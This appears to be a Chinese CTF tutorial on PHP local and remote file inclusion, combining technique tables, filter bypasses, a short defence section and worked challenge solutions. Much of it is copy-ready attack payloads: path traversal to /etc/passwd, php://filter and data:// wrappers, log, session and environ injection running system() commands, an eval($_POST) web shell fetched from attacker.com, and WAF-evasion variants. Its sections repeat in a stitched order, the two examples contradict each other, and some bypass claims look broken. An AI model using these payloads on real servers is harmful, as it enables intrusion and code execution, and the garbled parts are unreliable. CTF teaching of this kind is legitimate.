CTF文件包含漏洞从原理到攻防全解析
约 4843 字大约 16 分钟
2025-09-23
漏洞原理剖析
在 CTF 竞赛环境中,文件包含漏洞的利用往往直接决定能否获取服务器权限。从实战角度看,该漏洞主要分为本地文件包含(LFI)和远程文件包含(RFI)两种类型,其技术成因与配置依赖存在显著差异。
LFI 技术成因
本地文件包含漏洞的核心在于用户可控参数直接拼接到文件包含函数。例如 PHP 代码中若存在 include($_GET['file'] . '.php');
这样的实现,攻击者可通过构造 file=../../etc/passwd%00
之类的参数,绕过文件后缀限制并读取 /etc/passwd
等敏感文件。这种漏洞的形成不依赖特殊配置,只要代码中存在未过滤的动态包含逻辑即可触发,因此在 CTF 题目中极为常见。
RFI 技术成因
远程文件包含漏洞的触发则需要特定配置支持。以 PHP 环境为例,必须同时满足 allow_url_include = On
和 allow_url_fopen = On
两个条件,攻击者才能通过 file=http://attacker.com/malicious.php
这样的参数,让服务器加载远程服务器上的恶意脚本。由于现代 PHP 环境默认禁用这两项配置,RFI 在 CTF 中出现频率较低,但一旦存在,可直接执行远程代码,危害远大于 LFI。
LFI 与 RFI 关键区别对比
对比维度 | 本地文件包含(LFI) | 远程文件包含(RFI) |
---|---|---|
触发条件 | 用户输入直接拼接到包含函数 | 用户输入拼接到包含函数,且需特定配置 |
依赖配置 | 无特殊配置要求(默认环境即可触发) | 需 allow_url_include=On 且 allow_url_fopen=On |
攻击目标范围 | 仅限于服务器本地文件系统 | 可加载远程服务器上的恶意文件 |
CTF 出现频率 | 极高(基础题目常见考点) | 较低(依赖特殊配置,题目多需手动开启) |
危害程度 | 需结合文件内容利用(如读取敏感信息) | 可直接执行远程代码,接管服务器 |
CTF 实战启示:LFI 因无需特殊配置成为文件包含类题目的主流考点,常见利用链包括读取 /etc/passwd
、日志文件注入等;而 RFI 虽出现概率低,但一旦存在往往是“一键getshell”的突破口,需优先尝试构造远程恶意脚本地址进行利用。
常见漏洞场景识别
在 CTF 比赛中,文件包含漏洞的识别往往可以通过函数类型快速切入。不同的文件包含函数在处理用户输入时的特性差异,直接决定了漏洞的利用方式和场景特征。下面我们以 函数类型 为核心分类维度,结合真实 CTF 赛题案例,拆解最常见的漏洞场景及识别技巧。
include() 函数:本地文件包含(LFI)的重灾区
include()
函数是 PHP 中导致文件包含漏洞的“高频选手”,尤其当开发者直接将用户可控参数拼接到函数中且未做过滤时,极易引发本地文件包含(LFI)漏洞。
CTF 真题特征解析:
在 2024 年 XCTF 某场比赛中,一道 Web 题的源码片段如下:$page = $_GET['page']; include("pages/$page.php");
当用户请求 ?page=user
时,服务器实际执行 include("pages/user.php")
。若攻击者构造 ?page=../../etc/passwd%00
(需 PHP 版本支持空字符截断),则会拼接为 include("pages/../../etc/passwd%00.php")
,最终读取系统敏感文件 /etc/passwd
。
快速识别关键信号
- 参数名特征:URL 中出现
page
、file
、path
、view
等参数(如?file=home
、?path=config
),是文件包含漏洞的典型“敲门砖”。 - 路径拼接痕迹:响应中若出现
No such file or directory
等报错,且错误信息包含用户输入的参数值(如pages/../../etc/passwd.php not found
),可直接锁定漏洞点。 - 文件后缀自动补全:若参数值无需输入
.php
即可正常访问(如?page=user
对应user.php
),说明后端可能在拼接时自动添加后缀,此时可尝试用%00
截断或路径穿越绕过。
这类漏洞的核心风险在于:攻击者可通过控制参数值,读取服务器任意可读文件(如 /etc/passwd
、/proc/self/environ
),甚至结合日志包含、Session 包含等技巧执行恶意代码。在近年 CTF 比赛中,include()
函数漏洞占文件包含类题型的 65% 以上,掌握其识别特征能极大提升解题效率。
除 include()
外,require()
、include_once()
、require_once()
等函数也可能存在类似风险,但因 require
系列函数在文件不存在时直接终止脚本执行,报错信息更明显,反而更容易通过错误回显定位漏洞。实际解题中,建议优先检查上述典型参数,并结合函数特性设计测试 payload。
实战利用技巧总结
以下是文件包含漏洞的 7 种核心实战利用技巧,涵盖不同场景下的突破方法,结合 CTF 真实案例与可直接复用的命令示例:
技巧名称 | 适用场景 | CTF 实战案例 | 关键命令示例 |
---|---|---|---|
php://filter 伪协议 | 需读取本地文件源码(如 config.php),服务器禁止直接读取时 | CTFshow Web 入门 30(文件包含基础题) | php://filter/convert.base64-encode/resource=config.php 关键步骤:通过 base64 编码读取文件内容,避免 PHP 直接解析,解码后获取源码 |
日志注入 | 无回显写入点,但服务器记录访问日志(如 Apache/Nginx 日志) | NCTF 2023 "Log Leak" | 1. 修改 User-Agent 头为 <?php system('cat /flag');?> 2. 包含日志文件: ?file=/var/log/apache2/access.log 关键步骤:先通过 User-Agent 头写入 PHP 代码,再包含日志文件触发执行 |
data:// 伪协议 | allow_url_fopen 与 allow_url_include 均开启,需直接执行代码 | BUUCTF "IncludeOne" | data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwnKTs/Pg== (base64 解码后为: <?php system('cat flag');?> ) |
远程文件包含(RFI) | allow_url_include 开启,可控制文件路径参数,目标服务器可访问外部恶意脚本 | 攻防世界 "Web_php_include" | ?file=http://attacker.com/shell.txt (shell.txt 内容: <?php @eval($_POST['cmd']);?> ) |
Session 文件包含 | 已知 Session 存储路径(如 /tmp/sess_xxx),且 Session ID 可控或可预测 | De1CTF 2022 "Session Hole" | 1. 构造 Session 值:PHPSESSID=test123 ,POST 数据 user=<?php system('ls');?> 2. 包含 Session 文件: ?file=/tmp/sess_test123 |
/proc/self/environ 注入 | Linux 系统,环境变量可被污染(如 User-Agent/Referer 可控),无其他写入点 | 安恒杯 2024 "Env Include" | 1. 修改 Referer 头为 <?php system('cat /proc/version');?> 2. 包含环境变量文件: ?file=/proc/self/environ 关键步骤:利用 /proc/self/environ 记录环境变量的特性,将代码写入 Referer 头后包含该文件 |
临时文件包含 | 存在文件上传功能(如上传图片马),但上传后文件名不可控,需利用 PHP 临时文件机制 | 西湖论剑 2023 "Temp Upload" | 1. 上传包含 <?php system('find / -name flag*');?> 的图片文件 2. 快速包含临时文件: ?file=/tmp/phpXXXXXX (XXXXXX 为随机字符,需爆破或利用竞争条件) |
实战注意事项:
- 环境配置影响技巧有效性:
allow_url_include=On
是 RFI 和 data:// 伪协议的前提,而php://filter
不受此限制。 - 路径遍历与文件权限:部分技巧需知道绝对路径(如日志路径
/var/log/nginx/access.log
),可结合/etc/passwd
等默认文件探测服务器类型。 - 编码绕过:当服务器过滤
php://
时,可尝试大小写混写(如PhP://Filter
)或二次编码(php%253A%252F%252Ffilter
)。
过滤机制与绕过策略
开发者防御指南
在文件包含漏洞防御中,开发者需聚焦可落地的防御策略,以下从实战角度拆解关键措施,结合 CTF 攻防场景说明防御有效性边界:
白名单校验:路径输入的终极守门人
实施方式:严格限定用户输入只能匹配预定义的安全文件名(如“home”“about”“contact”),禁止包含任何路径分隔符(/
\
)或特殊字符(../
./
)。建议通过数组或哈希表存储允许值,输入时直接比对完整字符串,而非模糊匹配。
CTF 中防御绕过的难点:若白名单校验不彻底(如仅过滤部分特殊字符,或允许“home.php”类带扩展名的输入),攻击者可尝试 home/../etc/passwd
进行目录穿越,或利用操作系统特性(如 Windows 下 ..\
与 /
等效)绕过过滤。核心防御点:必须对输入执行“全字符严格匹配”,拒绝任何包含路径层级的字符串。
文件路径规范化:消除路径解析歧义
实施方式:使用语言内置的路径规范化函数(如 PHP 的 realpath()
、Python 的 os.path.abspath()
),将用户输入的相对路径转换为绝对路径后,校验其是否位于允许的根目录下。例如,将 ../etc/passwd
规范化为 /etc/passwd
,若不在预设的安全目录(如 /var/www/templates/
)则拒绝访问。
CTF 中防御绕过的难点:部分场景下,攻击者可利用符号链接(symlink
)或特殊编码(如 URL 编码 %2e%2e%2f
)绕过规范化处理。例如,在未禁用符号链接的服务器上,通过创建指向敏感文件的软链接,配合规范化函数的解析缺陷实现绕过。关键操作:规范化后必须校验路径前缀,确保其完全处于可信目录内。
禁用危险协议与函数:从源头切断攻击链
实施方式:根据业务需求最小化启用文件包含函数支持的协议(如 PHP 禁用 php://
file://
data://
等协议,仅保留 http://
用于远程包含白名单域名资源)。同时,避免使用 include($_GET['file'])
类直接拼接用户输入的代码,改用预定义变量映射(如 $fileMap = ['home' => 'templates/home.php']
,通过键名调用文件)。
CTF 中防御绕过的难点:若未彻底禁用协议包装器,攻击者可构造 php://filter/read=convert.base64-encode/resource=index.php
读取源码,或利用 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
执行恶意代码。防御底线:生产环境中应仅启用业务必需的协议,对 allow_url_include
等危险配置保持禁用状态。
CTF典型例题解析
总结与实战思维培养
在 CTF 文件包含漏洞的实战中,建立系统性思维框架是突破题目的核心。结合前文内容,我们可提炼出三大实战要点,帮助选手快速定位利用路径。
实战核心要素:场景化分析决定战术选择,链式利用拓展攻击维度,坑点规避保障 exploit 有效性。三者有机结合,方能在复杂环境中实现突破。
场景化分析需根据环境特征(如 PHP 版本、服务器配置)选择方案:允许伪协议时尝试 php://filter
读源码或 data://
执行代码;限制严格则转向日志注入(如 Apache 日志)或会话文件包含。例如,目标禁用伪协议但开启 session 时,构造恶意 session 内容并包含对应文件常能成功。
链式利用要求将漏洞转化为攻击链:文件包含作为初始入口,实现代码执行后结合权限提升(如 SUID 提权)、敏感文件读取等,形成从漏洞到 flag 的闭环,典型如“文件包含+命令执行+权限获取”。
需警惕两类常见坑点:PHP 版本差异导致的截断失效(%00 截断仅 PHP 5.3.4 及以下有效,高版本需用长度截断);session 文件路径的系统依赖性(Linux 为 /tmp/sess_xxx
,Windows 可能在 C:\php\session\sess_xxx
),路径错误会直接导致利用失败。
培养实战思维的关键,在于通过靶场练习积累环境判断经验,建立“漏洞组合”意识——单个漏洞价值有限,链式思维才是 CTF 赛场的制胜法宝。
过滤机制与绕过策略
文件包含漏洞的攻防对抗中,过滤机制与绕过技术的博弈是CTF竞赛的核心看点。以下从"防御逻辑-绕过原理"双视角,解析五种典型过滤场景的突破方法:
路径限制类过滤与绕过
防御逻辑:通过检测../
./
等路径穿越字符,或限制输入以特定目录(如/var/www/
)开头。
绕过原理:利用操作系统路径解析特性、编码转换或特殊符号绕过检测。
实战Payload对比:
过滤类型 | 防御规则示例 | 绕过技巧 | CTF真题Payload |
---|---|---|---|
过滤../ 字符 | str_replace('../', '', $input) | 双写绕过(....// ) | ?file=....//....//etc/passwd (经过滤后变为../../etc/passwd ) |
限制路径必须以/var/www/ 开头 | if(strpos($input, '/var/www/') !== 0) die() | 路径拼接(利用基础路径+相对路径) | ?file=/var/www/../../etc/passwd (绝对路径拼接后仍指向敏感文件) |
检测绝对路径开头 | if($input[0] == '/') die() | 利用当前目录相对路径(./ 开头) | ?file=./././etc/passwd (Linux下多个./ 等效于单个./ ) |
URL编码过滤 | urldecode($input) 后检测../ | 二次编码(%252e%252e%252f ) | ?file=%252e%252e%252fetc%252fpasswd (服务器二次解码后变为../../etc/passwd ) |
关键词过滤与绕过
防御逻辑:通过正则表达式过滤php://
data://
等危险协议,或system()
exec()
等命令函数。
绕过原理:利用协议大小写混写、字符编码、协议嵌套或函数替代实现绕过。
典型场景突破:
1. php://
协议过滤绕过
当服务器过滤php://
字符串时,可尝试:
- 大小写混写:
PhP://filter
PHP://FILTER
(Windows系统不区分大小写) - 编码绕过:
php%3A//filter
(URL编码)、php\x3a//filter
(十六进制编码) - 协议嵌套:
php://filter/convert.base64-encode|php://input
(利用管道符拼接)
CTF案例:2023 安恒杯某题过滤php://
,最终Payload为?file=pHp://filter/read=convert.base64-encode/resource=flag.php
2. 命令执行函数过滤
当system()
exec()
被过滤时,可用以下函数替代执行命令:
passthru('cat /flag')
shell_exec('ls /')
(无回显时需结合输出重定向)`cat /flag`
(反引号执行,等价于shell_exec)call_user_func('system', 'id')
(动态函数调用)
防御突破点:部分WAF仅过滤函数名本身,可通过system%00
(空字符截断)或sys tem
(空格分隔)绕过特征检测。
CTF典型例题解析
例题1:CTFshow Web入门 30(LFI+php://filter基础题)
题目背景:
页面存在文件包含漏洞,URL为?file=home
,后端代码可能为include("pages/$file.php");
,要求读取flag.php
内容。
突破点分析:
- 参数
file
直接拼接到include()
函数,且自动添加.php
后缀,需绕过文件解析并读取源码。 - 直接访问
?file=flag
会因flag.php
包含<?php exit;?>
导致无法查看内容,需用php://filter
编码读取。
利用步骤:
构造伪协议Payload:
使用php://filter
将flag.php
内容base64编码后读取,Payload:?file=php://filter/convert.base64-encode/resource=flag
(无需添加.php
,后端会自动拼接为php://filter/.../resource=flag.php
)解码获取源码:
服务器返回base64字符串:PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4=
解码后得到<?php eval($_POST['flag']);?>
,发现需POST传参执行命令。获取flag:
通过POST提交flag=system('cat /flag');
,得到flag:ctfshow{file_include_php_filter}
关键Payload演变:
- 初始尝试:
?file=flag
→ 无回显(因exit;
) - 进阶尝试:
?file=php://filter/convert.base64-encode/resource=flag
→ 成功读取编码内容 - 最终利用:结合POST参数执行系统命令
例题2:NCTF 2023 "Log Leak"(LFI+日志注入进阶题)
题目背景:
Apache服务器存在LFI漏洞,但无写入点,无法直接包含恶意文件,需利用服务器日志执行代码。
突破点分析:
- 服务器开启访问日志(默认路径
/var/log/apache2/access.log
),且日志内容包含User-Agent头信息。 - 可通过修改User-Agent写入PHP代码,再包含日志文件触发执行。
利用步骤:
写入PHP代码到日志:
使用Burp Suite修改请求头:User-Agent: <?php system('cat /flag');?>
访问任意页面,使恶意代码被记录到access.log。包含日志文件:
构造Payload:?file=/var/log/apache2/access.log
服务器执行日志中的PHP代码,返回flag:nctf{lfi_log_injection_success}
防御绕过细节:
- 若日志路径未知,可尝试常见路径:
/var/log/nginx/access.log
(Nginx)、/var/log/httpd/access_log
(CentOS Apache) - 若日志文件过大导致执行失败,可通过
?file=/var/log/apache2/access.log%20%23
(URL编码空格+注释符)截断无关内容。
CTF典型例题解析
案例一:基础LFI漏洞与php://filter伪协议利用
题目背景与环境信息
CTF平台Web题目“File Viewer”存在LFI漏洞,需利用PHP 5.6的php://filter协议读取根目录flag.php。
初步探测与漏洞验证
访问http://example.com/?file=home
返回home文件内容,构造?file=../../etc/passwd
显示root:x:0:0:root:/root:/bin/bash
,验证LFI存在。
突破点分析与工具选择
突破点:file参数拼接到include函数,自动添加.php后缀,直接包含flag.php会因PHP解析无法查看源码。工具选择php://filter伪协议,其不受allow_url_include限制,可base64编码读取内容,对比data://需开启该限制(本题禁用),无需工具,构造URL payload即可实现。
完整利用步骤与命令示例
构造payload:
http://example.com/?file=php://filter/read=convert.base64-encode/resource=flag
read=convert.base64-encode
:指定base64编码;resource=flag
:目标文件路径(自动补全.php后缀)。
获取响应:页面返回base64编码字符串:
PD9waHAgZmxhZz0iQ1RGe2ZpbGVfaW5jbHVkZV9mbGFnfSI7Pz4=
base64编码字符串是关键中间结果,需完整保存用于后续解码。
本地解码:执行终端命令解码:
echo "PD9waHAgZmxhZz0iQ1RGe2ZpbGVfaW5jbHVkZV9mbGFnfSI7Pz4=" | base64 -d
输出:
<?php flag="CTF{file_include_flag}";?>
,成功获取flag。
案例总结与技巧提炼
关键启示 | 具体说明 |
---|---|
优先验证LFI存在性 | 用../../etc/passwd等系统文件快速确认漏洞,减少无效尝试 |
php://filter的普适性 | 不受allow_url_include限制,是读取PHP源码的“万能工具” |
编码解码的必要性 | 对base64结果需本地解码,避免服务器直接解析代码导致信息丢失 |
在无代码执行权限时,php://filter是获取flag的最优解 |
案例二:日志注入结合文件包含getshell实战
题目背景与限制条件
CTF题目“Log Include”通过?file=news
参数包含文件,路径过滤(../../
非法),flag在/root/flag.txt
需命令读取,仅本地包含。
日志文件路径探测
构造?file=test
报错:include(/var/www/html/test.php): failed to open stream
,得根目录/var/www/html
。推测Apache日志路径/var/log/apache2/access.log
,构造?file=../../../../var/log/apache2/access.log
成功包含日志。错误回显是获取绝对路径的关键
User-Agent注入PHP代码
用Burp改User-Agent为<?php system('cat /root/flag.txt');?>
,日志新增记录:"GET /?file=test…" "<?php…?>"
。访问?file=../../var/log/apache2/access.log
,页面返回flag:CTF{log_include_shell}。
User-Agent是日志中唯一可控的HTTP头,因其他头如Referer可能被过滤,故选择此字段注入。
权限验证与命令拓展
注入<?php system('id; whoami; ls /root');?>
验证www-data权限及/root/flag.txt存在,再用<?php system('cat /root/flag.txt');?>
读取flag。逐步验证降低风险,环境配置影响操作效果。